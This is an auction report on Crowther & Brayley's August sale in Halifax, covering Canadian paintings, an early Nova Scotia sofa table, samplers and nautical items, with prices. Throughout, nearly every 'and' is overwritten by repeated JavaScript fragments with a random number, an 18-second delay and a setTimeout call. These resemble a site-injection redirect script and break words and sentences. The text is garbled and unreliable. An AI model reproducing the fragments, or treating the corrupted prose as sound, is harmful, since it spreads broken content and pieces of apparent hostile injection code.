By: Laura Beach

HALIFAX, NOVA SCOTIA — Crowther & Brayley Ltd’s annual auction on the first weekend of August is a must-attend event for aficionados of Canadian art. Two years ago, Nova Scotia’s premier auctioneer moved his sale from Chester, an international yachting haven on the province’s south shore, to Nova Scotia’s historic capital city, Halifax.

As always, the sale organized by auctioneer Bill Brayley was rich in maritime art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and artifacts, plus arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and antiques from Atlantic Canada. An attractive assortment of English andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Continental fare spoke to Canada’s dual Anglo-Franco heritage. Featured was property from the estates of former directors of the Bank of Canada, the Royal Bank of Canada andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Lieutenant General Robert Moncel, the youngest Canadian to achieve the rank of brigadier general.

Reflecting on the Canadian market, Brayley told Antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Arts Weekly, “If you look at the last five years, it has become more solid generally about the country. Modern andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Post War art has really made a lot of progress. The furniture market here in Nova Scotia is consistent with that in the rest of the country andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and also with the United States andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. The trend is basically the result of a demographic shift.”

Top honors this round went to paintings by two artists born in Montreal. Bearing both a Morrice studio stamp andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and labels for the Laing Galleries in Toronto, an oil on panel by James Wilson Morrice (1865–1924) achieved $72,000. Crowther & Brayley does not charge a buyer’s premium.

Morrice trained in the law but pursued art as a career. Departing for Paris in the 1890s, he studied at the Academie Julian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and adopted the latest Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Post-Impressionist technique. He formed friendships with Henri Matisse andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Albert Marquet, among other progressive painters. Morrice painted both European andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, on regular trips home, Canadian subjects, though examples of the later are rare. Catalogued as a St Malo view, Brayley believes his painting — a loosely brushed, atmospheric work reminiscent of Whistler — may actually depict Piazza San Marco in Venice. At auction, the record price for Morrice is $1,430,260 for a Venice view, sold at Sotheby’s Toronto in 2011.

A pilot in World War II, Jean-Paul Riopelle (1923–2002) spent most of his adult life in France, returning to Quebec in the early 1990s. Known as an Abstract painter, he lived with the American artist Joan Mitchell outside Paris between 1955 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1979. Heavy with impasto, his 1966 abstract oil on canvas “La Cognee” achieved $58,000. The 18-by-15-inch work bears labels from Galerie Maeght in Paris andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Galerie Godard LeFort in Montreal. The record price at auction for Riopelle is $2,310,110, notched by Christie’s Paris in 2012.

Canadian furniture of the Eighteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early Nineteenth Century is rarer than its American counterpart, a fact attributable to the country’s much smaller population andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and generally later pattern of settlement. Thus the appearance of what is believed to be a Nova Scotia sofa table of about 1825 was something of a sensation. Thought to have been made in Halifax, possibly by John Tulles, the string-inlaid mahogany table has ebonized ring turnings, brass capped feet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is in good condition.

“The table was perhaps the biggest surprise of the sale. Three people chased it,” Brayley said of the piece that went to a buyer from Ontario for $16,000. A sofa table thought to be from the Atlantic prov-ince of New Brunswick is featured on the cover of the latest issue of Canadian Antiques & Vintage (formerly The Upper Canadian). According to William Reeve, the author of the magazine’s accompanying story, most Canadian sofa tables are associated with either New Brunswick or Nova Scotia andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and have often been confused with English or American examples.

“A Tulles work table is said to have sold in London in the 1970s for about $20,000, the price prompted by the quality of its workmanship. Canadian furniture has not been researched as extensively as American furniture, so it is difficult to make a definitive attribution,” said Brayley, who knows of no exact comparable to the table he sold.

Arts of Nova Scotia also included an 1834 sampler, $3,200, by Henrietta Clark, made under the tutelage of Miss S. Codley Clements of Bear River, Nova Scotia, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and another, $1,400, worked by Mary Jane Leonard of Sydney in Cape Breton in 1851.

Paintings by Maud Lewis (1903–1970), the self-taught Nova Scotia artist whose career parallels that of Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andma Moses, included “Three Black Cats,” $13,500. A Christmas card by Lewis titled “The Sleigh Ride” went for $2,400.

Perhaps most intriguing among nautical fare was a backstaff dating to about 1740. Bearing numerous decorations andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and markings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and inscribed “E. Deidier,” it crossed the block at $10,000.

Crowther & Brayley has sales scheduled for October 25 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and November 15. The latter will include more property from the estate of Lieutenant General Robert Moncel.

Crowther & Brayley, which runs roughly a dozen sales a year, is based in Waverly, Nova Scotia. For information, www.crowther-brayley.com or 902-423-3226.